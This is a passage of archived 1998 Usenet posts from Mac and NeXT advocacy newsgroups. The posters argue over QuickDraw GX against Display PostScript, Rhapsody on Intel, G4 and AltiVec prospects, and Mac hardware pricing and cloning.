| end-user applications on the Mac that allowed them to do just that?
|
| Hell, I KNOW I'm not wrong.
|
| Do you remember Typestyler???
Yep! Though TypeStyler III seems to be in perpetual beta for the past
year or so, TypeStyler 3b2.1 is quite useable. There's also a later
private beta mentioned on Strider Software's web pages.
Cheers,
Jayfar
--
Jay Farrell Jayfar's Original Virtual Macintosh
jayfar@netaxs.com * Your Favorite Mac Site * Now Updated Daily *
Philadelphia, USA <URL:http://www.netaxs.com/~jayfar/live.desk.html>
Jayfar's APPLE DOOMSDAY CLOCK <URL:http://www.netaxs.com/~jayfar/>
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 1 Jun 1998 10:04:50 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ktuc2$a6t$2@ns3.vrx.net>
References: <6kpbgu$kuo$2@ns3.vrx.net> <B195E56D-D61B@206.165.43.104>
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In <B195E56D-D61B@206.165.43.104> "Lawson English" claimed:
> 1) you can scale GX as needed to provide any arbitrary size image with any
> arbitrary precision;
And how many times do I have to point out that that makes it map poorly
back into the rest of the app? Cells of 0.1 size? Give me a break.
> 2) Practically speaking, DPS only handles roughly the same range of
> onscreen coordinates (according to one article posted recently) since it
> uses a fixed point coordinate system internally, even if the documentation
> suggests that it handles the full range of floating point;
That doesn't make a difference, that's in the ENGINE. It's ME that doesn't
want to see the crud of having to deal with "faking" out the engine to get it
to support large spaces.
> 3) how many spreadsheets are out there?
How many GX apps are out there? 1/100th as many? Some argument.
In the "real world" spreadsheet views are used more than a "graphics view",
because they are used to display db records from your back end. A solid and
easy to use spreadsheet view is vital to a framework, and yet often
overlooked.
> 5) the topic was how well-integrated QD3D was with GX as compared to
> Carbon.
No, it was not.
> arbon. As it stands, QD3D is far more integrated with GX since it is
> documented that way in the APIs and there exist genuine, shipping APIs in
> QD3D to allow drawing into a GX viewport. This will certainly change in the
> future for Carbon, obviously, but I was talking about right now.
You are obviously _not_ talking about right now. Carbon doesn't exist yet.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 1 Jun 1998 10:00:38 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ktu46$a6t$1@ns3.vrx.net>
References: <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134>
<6kpbgu$kuo$2@ns3.vrx.net> <35707B6A.F31D1148@nstar.net>
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In <35707B6A.F31D1148@nstar.net> "Michael J. Peck" claimed:
> It's not necessary (or even healthy) to treat a spreadsheet as a single
> logical image.
It's also not necessary to have the OS do MT tasking for you. Then again,
it sure makes things a lot cleaner.
> To write a spreadsheet that treated the whole thing as one big viewport
> would be masochistic in the extreme.
YB does this, and does it well.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 1 Jun 1998 10:06:22 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ktueu$a6t$3@ns3.vrx.net>
References: <6kpbgu$kuo$2@ns3.vrx.net> <B195E5C2-EA08@206.165.43.104>
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Cc: english@primenet.com
In <B195E5C2-EA08@206.165.43.104> "Lawson English" claimed:
> Perhaps. But you asked how similar the APIs were, not which was the "best
> possible way."
a) you have not seen the carbon API, no one has
b) the coordinate system forms a fundamental part of the API
c) QD3D already maps into QD viewports, it certainly will in EQD as well.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 1 Jun 1998 10:11:00 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ktunk$a6t$4@ns3.vrx.net>
References: <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134>
<6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3>
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Cc: rex@smallandmighty.com
In <rex-3105982335250001@192.168.0.3> Eric King claimed:
> : It is for conceptual and learning purposes.
>
> Not really, given a day or two, one could wrap up the entire GX API so
> that it does implicit float->fixed conversions ala DPS.
Uh huh.
> more important issues such as what would be a good way to support mixed
> engine rendering, e.g. how do you handle hit testing in a system with both
> 2D & 3D primitives, etc.
Issues that the current solution didn't address either.
> : Let me put it this way, if the new 2D API calls look like the API for
QD3D,
> :and both use floats mapped to some similar scale, then it's absolutely
going
> :to be easier to use PS-like rather than GX-like calls.
>
> You're talking about attaching a viewport scaling matrix,
No, I'm talking about the API. Don't tell me you think a API shim is a
solution!
> pretty darn trivial. A far more interesting topic to discuss would be
> whether or not the 2D API should use NURBS like Taligent's graphics system
> or stick with Beziers. That would have a hell of a lot more impact for
> developers than the scaling issues you're talking about.
Obviously Beziers, the world has chosen.
> It's a bogus example, and as an OpenStep developer pointed out,
> Postscript uses a fixed-point coordinate system internally so your example
> wouldn't have worked under OpenStep either. You *still* would have to
> scale.
The API. The API. The API. The API. The API. The API. The API. The
API. The API. The API. The API. The API. The API. The API. The API.
The API. The API. The API. The API. The API. The API. The API. The
API.
No you DON'T have to scale. IT _may_ have to. Geez.
Nayrt
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 1 Jun 1998 10:36:27 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ku07b$a6t$11@ns3.vrx.net>
References: <6kqmcc$3k6$1@news.digifix.com> <B1965026-29DBC@206.165.43.17>
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Cc: english@primenet.com
In <B1965026-29DBC@206.165.43.17> "Lawson English" claimed:
> Only because they never understood what they have. GX makes an ideal format
> for internet graphics, for instance. Look at the required feature-set of
> W3C's vector graphics initiative and realize that GX has all these features
> and more besides.
As does PS of course, because that's what all of them are based on,
including Java's.
> The fact that HyperCard was able to use GX is one of the silliest things
> that I've ever heard of.
Can you describe how this is silly? Or why the same "solution" won't work
with EQD. No, you can't.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 1 Jun 1998 10:38:41 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ku0bh$a6t$12@ns3.vrx.net>
References: <1d9w7hy.g52x5itps8sgN@cetus164.wco.com> <B1976019-6328E@206.165.43.9>
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Cc: english@primenet.com
In <B1976019-6328E@206.165.43.9> "Lawson English" claimed:
> This has nothing to do with YOU, Mike. This has to do (I am sure) with
> corporate politics, both within and without Apple.
Uh huh. Lawson, have you ever BEEN to Apple? How about a WWDC?
> But what about Apple management? At this point, we have GX, which is
> technically superior to anything else currently available (IMHO) for 2D and
> a total marketing failure.
No, it's a total failure. You'll have a tough time proving it had anything
to do with marketting.
Maury
####################################################################
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 1 Jun 1998 10:26:59 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ktvlj$a6t$9@ns3.vrx.net>
References: <6kqm3r$3k2$1@news.digifix.com> <B196579A-45E28@206.165.43.17>
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Cc: english@primenet.com
In <B196579A-45E28@206.165.43.17> "Lawson English" claimed:
> Yar, but they didn't want to write cute letters to their friends or make
> cheapo posters without paying an arm and a leg
Hey, send that to Apple. "Hey, here's my business plan, we should give
away software that people pay lots of money for right now!".
> something that is built into GX and hence available in every Mac built in
> the 90's.
Balogna, GX is on less that 2% of Mac's, by Apple's own old estimates. I
bet it's even lower now.
Maury
> This whole thing is SOOOOO stupid.
Couldn't agree more.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: 1 Jun 1998 10:15:50 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ktv0m$a6t$5@ns3.vrx.net>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM>
<6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net>
<356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com>
<slrn6ms4sm.79d.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <rmcassid-2905980008090001@dialin33418.slip.uci.edu>
<slrn6mu26s.abi.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <rmcassid-2905981406440001@dante.eng.uci.edu>
<6kmp99$i5e$3@ns3.vrx.net> <19980531001706761026@sdn-ts-006txhousp05.dialsprint.net>
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Cc: drifterusa@sprintmail.com
In <19980531001706761026@sdn-ts-006txhousp05.dialsprint.net> John Bauer
claimed:
> Except that Apple talks about AltiVec, and the news items that I've read
> describe AltiVec in the context of G4s. Is there a plan for AltiVec on
> G3s?
I don't think it makes any difference - unless G4's _general_ performance
is in the same ball park, AltiVec is meaningless.
> While we're (sort of) on the subject, are all of these chips (Merced,
> MIPS, SPARC, G4) 64-bit? Does this mean that NT (or at least non-x86
> NT) is 64-bit?
Nope, currently 32 bit. The project for a 64 bit version was to be done at
the same time as the IA-64.
> Will Mac OS X have to be 64-bit to run on a G4?
Good question. At least for Apple other Unix vendors have done a lot of
the fundamental legwork for them.
> this involve only redoing the kernel (again) or is it more than that?
It's a LOT of work. Actually the kernel is the easy part - a few compiler
switches and it's 64-bit. DEC did that for their Alpha port (DEC Unix, nee
OFS/1) and it's possible that if the OSF stack is used as the primary code
base (as opposed to Apple code from other projects like OpenBSD and such)
then the rest of the stuff is already done too. It really depends on whether
or not the OSF standard distribution gets the changes Apple makes.
> Finally, not that anyone knows the answer, but how likely is Apple to
> have an operating system ready to run when G4s ship (if G4s are 64-bit
> and the OS must be too)?
No, 32 bit OS's run fine on 64bit CPU's, just not as fast as they could
(among other issues).
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Mixing Carbon and OpenStep calls??
Date: 1 Jun 1998 10:20:59 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ktvab$a6t$7@ns3.vrx.net>
References: <01bd8cc3$c8ccfab0$04387880@test1>
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Cc: todd@NetSQ.com
In <01bd8cc3$c8ccfab0$04387880@test1> "Todd Heberlein" claimed:
> I seem to recall hearing/reading that applications can use both
> Carbon and OpenStep APIs.
As far as I know, no.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Merced delay affect Apple?
Date: 1 Jun 1998 10:20:07 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ktv8n$a6t$6@ns3.vrx.net>
References: <01bd8cc6$1f359360$04387880@test1>
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Cc: todd@NetSQ.com
In <01bd8cc6$1f359360$04387880@test1> "Todd Heberlein" claimed:
> One point - The delay of Intel's next generation high-end
> (high-priced) CPU will expand Apple's opportunity to stay ahead on
> the power curve.
Yup. If they can get the G4 out and it works well (both remain to be seen)
then for some time at least they should be able to hold a massive power lead
(as good as the new-run P-II's are, they shouldn't be able to touch Apple on
a G4). Toss out things like "copper technology" and such and you have
(again) a strong message.
> Another point - Apple may have been planning to forgo a release of
> MacOS X on the x86 architecture in favor of the Merced (IA-64)
> architecture. Will this encourage Apple to consider supporting the
> x86 architecture beyond Rhapsody 1.0?
Hmmm, that's interesting. My first guess would be "no".
Maury
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: 1 Jun 1998 16:04:55 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6n5k97.2kj.sal@panix3.panix.com>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM> <6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net> <356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com> <356e6a40.0@news.camtech.net.au> <6kn7t6$npv$7@newsfep4.sprintmail.com> <rmcassid-2905981526310001@dante.eng.uci.edu> <slrn6n17mu.lsb.sal@panix3.panix.com> <slrn6n3g2r.ac1.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
On 31 May 1998 20:41:00 GMT, Matt Kennel <NOSPAMmbkennelNOSPAM@yahoo.com> wrote:
>On 31 May 1998 00:05:50 GMT, Salvatore Denaro <sal@panix3.panix.com> wrote:
>:Huh? NeXT was a tiny company, and they could write drivers for Intel.
>:So could SCO for it's UnixWare and OpenServer UNIXs. And SUN has managed
>:to support a nice sized chunk of the x86 market.
>Not really. Sun is doing x86 as a loss-leader.
Why can't Rhapsody on Intel be a loss leader to promote Rhapsody/MacOS-X on
PPC? After all, they two are not equals. Rhapsody/PPC will have Bluebox (and
MS Office, PhotoShop, et al) and MacOS-X will have Carbon (and *NATIVE* MS
Office, PhotoShop et al)
> SCO, they have a locked
>in installed base and resellers and consultants who push them along.
Think Different. What does SCO have that Rhapsody won't have? SMP, SYSV
and a network of VARs. What will Rhapsody have that SCO lacks? WebObjects,
a great UI, a great set of Dev tools. Why can't Apple muscle in and grab
some of that VAR business?
>Rhapsody/Intel couldn't get away with it @ $150.
They are not starting from ground zero, they already have a largish lib
of drivers now. And IOKit should make it easier.
No one is suggesting that Rhapsody/Intel will be a replacement for WinXX
on Intel, it will be a "loss leader" to promote Mac hardware.
>:Then calmly explain to him that people unwilling to jump from WinTel to
>:Rhapsody on Macs might do so in small steps: (This is assuming that they
>:find enough value in YB to write all thier custom apps in it.)
>I agree there is a good market.
And much of the market is stating that they are willing to pay more for
Apple hardware if they find Rhapsody/Intel to be good enough. Or at least
better than NT or Linux for what they want to do.
--
sal@panix.com Salvatore Denaro
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: 1 Jun 1998 15:54:41 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6n5jm1.2kj.sal@panix3.panix.com>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM> <6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net> <356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com> <356e6a40.0@news.camtech.net.au> <6kn7t6$npv$7@newsfep4.sprintmail.com> <rmcassid-2905981526310001@dante.eng.uci.edu> <slrn6n17mu.lsb.sal@panix3.panix.com> <3570A750.56BE9808@nstar.net>
On Sat, 30 May 1998 19:41:52 -0500, Michael J. Peck <mjpeck@nstar.net> wrote:
>Oh, how true. This is true for me, personally; if I felt confident that
>Apple's OS was cross-platform, I'd be inclined to pay for that sweet Mac
>hardware.
At 5% or 10% more than PC hardware prices? What about 15%?
I think it is pretty easy to see that Rhapsody on Intel will make Mac
hardware more desirable.
>I'd still be a big proponent of cloning, to bring down the price,
>though...
DeLL, Compaq, Gateway, Micron et al.
--
sal@panix.com Salvatore Denaro
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXTSTEP/OpenStep on SGI?
Date: Mon, 01 Jun 1998 09:06:16 +0100
Organization: EarthLink Network, Inc.
Message-ID: <357260F4.46DD@earthlink.net>
References: <35727C13.1BDDD2CD@student.uni-halle.de>
Mime-Version: 1.0
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To: rene limberger <rene.limberger@student.uni-halle.de>
rene limberger wrote:
> I am totaly new to next.
> Is next/openstep available for sgi hardware?
NO.
> For what hardware is it available?
I don't know if you can get NeXTSTEP 3.3 anymore. I believe Apple
stills sells Openstep 4.2 which runs on Intel & NeXT hardware (so does
NeXTSTEP 3.3). There were also versions for Sun and HP. Somebody had
posted a link to the group a few times about where to buy Openstep 4.2.
Maybe they will do it again to help you out. I don't remember it. Try
searching the Apple site. Look under Apple Enterprise.
> Where can i find good information about this OS?
> (screenshots?)
This is a great place to read up about NeXTSTEP/Openstep. Screen grabs
and all!
http://www3.pair.com/mccarthy/nextstep/intro.htmld/
Steve
Subject: Re: Merced delay affect Apple?
From: "Robert A. Decker" <comrade@umich.edu>
Newsgroups: comp.sys.next.advocacy
References: <3571ffa9.0@news.camtech.net.au>
MIME-Version: 1.0
Message-ID: <B1985DE1-DED833@141.214.128.36>
Content-Type: text/plain; charset=US-ASCII
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Date: Mon, 01 Jun 1998 17:28:08 GMT
NNTP-Posting-Date: Mon, 01 Jun 1998 13:28:08 EDT
On Sun, May 31, 1998 8:17 PM, timothyp@tne.net.au
<mailto:timothyp@tne.net.au> wrote:
> And how many do you think they would sell when everyone found out all
there
> old
> programs would break? Windows users may be a little sheepish. They are
not
> silly.
>
But this shows Microsoft's incompetency. Why should they have to put the
compatibility in the chip and not the OS? It seems backwards.
rob
--
<mailto: "Robert A. Decker" comrade@umich.edu>
<http://hmrl.cancer.med.umich.edu/Rob/index.ssi>
Programmer Analyst - Health Media Research Lab
University of Michigan Comprehensive Cancer Center
"Get A Life" quote #4: "I feel like Cinderella in more ways than I care to
go into." -Chris Elliott
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Mon, 01 Jun 1998 11:08:49 -0700
Organization: Graves Associates
Message-ID: <gmgraves-0106981108500001@sj-pm5-5-197.dialup.slip.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <6kiqhr$22u$1@nargun.cc.uq.edu.au> <gmgraves-2805981033260001@sf-usr1-44-172.dialup.slip.net> <tas-3005980328230001@209.86.154.89> <gmgraves-3005981301160001@sf-usr1-3-131.dialup.slip.net> <6kqunr$hhi$1@bunyip.cc.uq.edu.au> <gmgraves-3105981217180001@sf-usr1-50-178.dialup.slip.net> <6ksdpv$5jk$1@bunyip.cc.uq.edu.au>
In article <6ksdpv$5jk$1@bunyip.cc.uq.edu.au>, "Christopher Smith"
<drsmithy@usa.net> wrote:
> >In article <6kqunr$hhi$1@bunyip.cc.uq.edu.au>, "Christopher Smith"
> ><drsmithy@usa.net> wrote:
> >
> >> George Graves wrote in message ...
> >> >In article <tas-3005980328230001@209.86.154.89>,
> tas@mindspring.noUCE.com
> >> >(Timothy A. Seufert) wrote:
> >> >
> >> >> In article <gmgraves-2805981033260001@sf-usr1-44-172.dialup.slip.net>,
> >> >> gmgraves@slip.net (George Graves) wrote:
> >> >>
> >> >> The PII is a direct descendant of the Pentium Pro, which also had a
> >> >> dedicated cache bus. The PPro was actually supplied with faster
> cache --
> >> >> 256K or 512K of 1:1 cache -- but the expense of such high speed SRAM
> led
> >> >> Intel to switch to 2:1 for the PII (which is supposed to be a mass
> market
> >> >> CPU).
> >> >
> >> >OK, then you tell me why PIIs are so slow?
> >>
> >> They're not. The fastest pII chip is about the same speed as the fastest
> >> PowerPC chip.
> >
> >Well, the tests I have run and seen run say otherwise. BUT, just
> >for the sake of argument, let us say that they are indeed about
> >equal. Now, since PIIs require another 100 MHz of clock to be
> >equal in speed to a G3, I again ask the question: Why are PIIs
> >so slow?
>
> George, why *must* you pretend to be so ignorant ? As you well know
> comparing Mhz across architectures is like comparing MIPS - useless. It's
> like saying a V8 must be slower than a 4 cylinder engine because the 8 can
> rev to "only" 5000rpm and the 4 can rev to 8000rpm.
I was being facetious. Of course I know that MHz don't equal performance on
a one-to-one comparison. But the guy I was answering was being so arrogant
that I just had to tweak him!
George Graves
>
> >
> >George Graves
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Mon, 01 Jun 1998 11:01:20 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-0106981101200001@dante.eng.uci.edu>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM> <6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net> <356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com> <slrn6ms4sm.79d.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <rmcassid-2905980008090001@dialin33418.slip.uci.edu> <slrn6mu26s.abi.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <rmcassid-2905981406440001@dante.eng.uci.edu> <6kmp99$i5e$3@ns3.vrx.net> <19980531001706761026@sdn-ts-006txhousp05.dialsprint.net> <6ktv0m$a6t$5@ns3.vrx.net>
In article <6ktv0m$a6t$5@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
>In <19980531001706761026@sdn-ts-006txhousp05.dialsprint.net> John Bauer
>claimed:
>> Except that Apple talks about AltiVec, and the news items that I've read
>> describe AltiVec in the context of G4s. Is there a plan for AltiVec on
>> G3s?
>
> I don't think it makes any difference - unless G4's _general_ performance
>is in the same ball park, AltiVec is meaningless.
Wouldn't AltiVec have a potential impact on general performance? I thought
that Alpha got some of it's good numbers from SIMD in addition to big-ass
caches and high clock speeds. AltiVec delivers the SIMD perhaps at the
expense of clock speed.
IBM _supposedly_ has a 600MHz 64bit G4 due out early next year without
AltiVec. So it seems that getting all the elements together in one PPC
chip isn't in the works for a while.
-Bob Cassidy
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 1 Jun 1998 12:11:22 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ku5pa$a6t$13@ns3.vrx.net>
References: <slrn6n3hfb.ac1.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B1975FEE-6288D@206.165.43.9>
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Cc: english@primenet.com
In <B1975FEE-6288D@206.165.43.9> "Lawson English" claimed:
> >Why must EPS be a picture exchange format?
>
> OK, PDF then.
Sigh. No, why can't you use some other format entirely. Like we do.
> No-one else can deal with your image as text during pre-press.
*coff*. Uhhh, try reading up on XML some time.
> >Does Quickdraw GX have a native streaming data representation suitable for
> >scientific plotting? Can I recover the input data used to make the plot?
> No
> >of course not, it can't do anything useful like that.
>
> QuickDraw GX is designed for static 2D images. QuickTime, on the other
> hand, DOES support data streaming suitable for any time-dependent purpose
> (look at the replay movies of Marathon, for instance).
*blink*. Clearly you are missing the point he made.
Maury
From: "William Whitehouse" <garyseven@geocities.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Mon, 01 Jun 1998 11:50:46 -0500
Organization: The Voodoo Assassination Project
Message-ID: <6kulrp$30o$1@news5.ispnews.com>
References: <6kmbtg$9cj$1@ns3.vrx.net> <6kpcfi$fq9$1@news10.ispnews.com>
<6kpcas$kuo$4@ns3.vrx.net>
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NNTP-Posting-Date: 1 Jun 1998 16:45:45 GMT
In article <6kpcas$kuo$4@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
>In <6kpcfi$fq9$1@news10.ispnews.com> "William Whitehouse" claimed:
>> They definitely weren't relying on general mindshare estimates in
>> betting on Symphony. The hype (from what I saw) was aligned towards
>> Symphony, but the vast majority of users at that time were used to
>> having to judge software tools on their own merits.
>
> Yup.
>
>> > Wellllll, I don't know. Apple simply refused to compete for many years,
>> >and now they are simply locked out of the business desktop (serve's them
>> >right in that regard). However the fact remains that the majority of
>> >households in the US, and even more abroad, don't have a computer.
>>
>> Correct - yet more evidence against the idea that the PC war is
>> already won.
>
> I don't understand. If half the houses don't have PC's, and one assumes
>that they will, isn't this a market that's not yet won?
Sorry, typo there. I meant to write "isn't already won". For the
reason you mentioned.
>> But, on the other hand, "colorful and fun" means "toy". The Mac,
>> by PC standards, was very colorful and fun. (still is fun, actually)
>> Does that mean you can't do serious work with it? In some minds
>> of many people in the 80s, yes.
>
> But that's my point. The machines sell into different markets for
>different reason. The iMac will likely be a dud on the corporate desktop
>simply because it is "weird", yet that same quality is what made Apple II's
>sell over PC's into the home market.
Well, I'd consider the iMac styling quite a bit more farther out
than the Apple II, but I agree (with reservations) with the idea
that unconventional styling may turn a few heads back towards the
Apple line of hardware. Even still, people's ideas about a desktop
computer are much more specific now than in the days of the Apple
II and the first Macs. Apple stands an equal chance of communicating
the idea that the iMac isn't a "serious computer" with its ADM-meets-
Fisher Price design. Which would be a pity, because, under the hood,
the iMac clearly is a serious computer.
> I don't believe this has changed to any large degree. I think home buyers
>want a "cool" computer and that Apple can offer that.
Some no doubt will. But for the people who've held off this long
in buying a desktop computer, I find it easier to believe that
most will be more conservative about that - i.e., will be much more
into a chassis style that screams "useful" than one that seems trendy
or cool. Like the current PowerMac desktops/servers. Trendiness
implies schlock with a lot of potential buyers (including myself),
and for good reason.
>> By "consumer device" do you mean the AMP set top box/WebTV?
>
> No, something a consumer can buy. If they had offered the 5200's for $1k
>(which they likely could right now) and said "this is our consumer product"
>then I think their marketshare in the home would be larger than it's current
>5.2%. Instead they offered a HUGE number of models (some 10 or so) with a
>bizzare selection of options and kept the prices high. You noted the
>performa as well, and although I think that was the right machine, it was
>certainly the wrong price.
Agreed.
----
William Whitehouse whitehou@soltec.net
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: 1 Jun 1998 17:05:14 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6kun0a$88t$1@news.spacelab.net>
References: <355bc985.0@206.25.228.5> <6jhcc7$1cc$43@ironhorse.plsys.co.uk> <6jhp08$5he@ragnarok.en.uunet.de> <6jhvgs$6sf$1@news.xmission.com> <6ji0m0$at4$1@crib.bevc.blacksburg.va.us> <6jiaqk$6sf$4@news.xmission.com> <SCOTT.98May29151643@slave.doubleu.com> <6kpcnn$kuo$5@ns3.vrx.net>
maury@remove_this.istar.ca (Maury Markowitz) wrote:
[ ... ]
> This is one thing I'm not clear one: maybe someone can explain it to me.
>Why does the lack of a client/server model preclude capturing the commands
>and sending them over a wire?
It doesn't. The problem is that remote graphics display requires "call by
value" and not "call by reference" semantics. Monolithic drawing models
generally are designed around the assumption that the graphics engine has
direct access to the memory and resources of the application doing the
drawing.
Another problem is syncronization. Monolithic drawing engines generally are
implicitly syncronized (ie, the app does a graphics call which runs to
completion before returning). Again, they just aren't designed with the
notion of client/server drawing and the potential for the two running at
different speeds.
[ ... ]
> Sorry, I can understand that it makes it a little harder because of the
>lib, but I can't see how any of this makes it even _conceptually_ different
>to any degree.
There's a different mindset between the two because they make different
assumptions.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Mon, 01 Jun 1998 17:11:33 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3572E0C5.BDEEDD46@nstar.net>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM> <6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net> <356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com> <356e6a40.0@news.camtech.net.au> <6kn7t6$npv$7@newsfep4.sprintmail.com> <rmcassid-2905981526310001@dante.eng.uci.edu> <slrn6n17mu.lsb.sal@panix3.panix.com> <3570A750.56BE9808@nstar.net> <slrn6n5jm1.2kj.sal@panix3.panix.com>
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Salvatore Denaro wrote:
>
> On Sat, 30 May 1998 19:41:52 -0500, Michael J. Peck <mjpeck@nstar.net> wrote:
> >Oh, how true. This is true for me, personally; if I felt confident that
> >Apple's OS was cross-platform, I'd be inclined to pay for that sweet Mac
> >hardware.
>
> At 5% or 10% more than PC hardware prices? What about 15%?
Well, on a $2000 PC machine, it goes like this:
5%: $2100
10%: $2200
15%: $2300
On a $2500 PC machine, like this:
5%: $2625
10%: $2750
15%: $2875
I don't think that's unreasonable. I don't think it's necessary, either.
But it's not unreasonable.
I don't want to get attached to an ideological committment that says
it's acceptable for Apple to charge a premium for its machines. There's
no need for that, as cloning proved by delivering high-quality hardware
at rock-bottom prices.
But I would pay the premium anyway, if there were enough going for the
platform. Right now, it's not anywhere close to where it needs to be,
but that's just my opinion.
> I think it is pretty easy to see that Rhapsody on Intel will make Mac
> hardware more desirable.
That's exactly the point.
> >I'd still be a big proponent of cloning, to bring down the price,
> >though...
>
> DeLL, Compaq, Gateway, Micron et al.
Sure, why not? But why these? Why couldn't it be UMAX, Power Computing,
Motorola, IBM, Tatung, Vertegri, Sony, etc., etc...
MJP
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: Mon, 01 Jun 1998 17:16:36 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3572E1F4.D8B5A1C3@nstar.net>
References: <355bc985.0@206.25.228.5> <6jhcc7$1cc$43@ironhorse.plsys.co.uk> <6jhp08$5he@ragnarok.en.uunet.de> <6jhvgs$6sf$1@news.xmission.com> <6ji0m0$at4$1@crib.bevc.blacksburg.va.us> <6jiaqk$6sf$4@news.xmission.com> <SCOTT.98May29151643@slave.doubleu.com> <6kpcnn$kuo$5@ns3.vrx.net> <6kun0a$88t$1@news.spacelab.net>
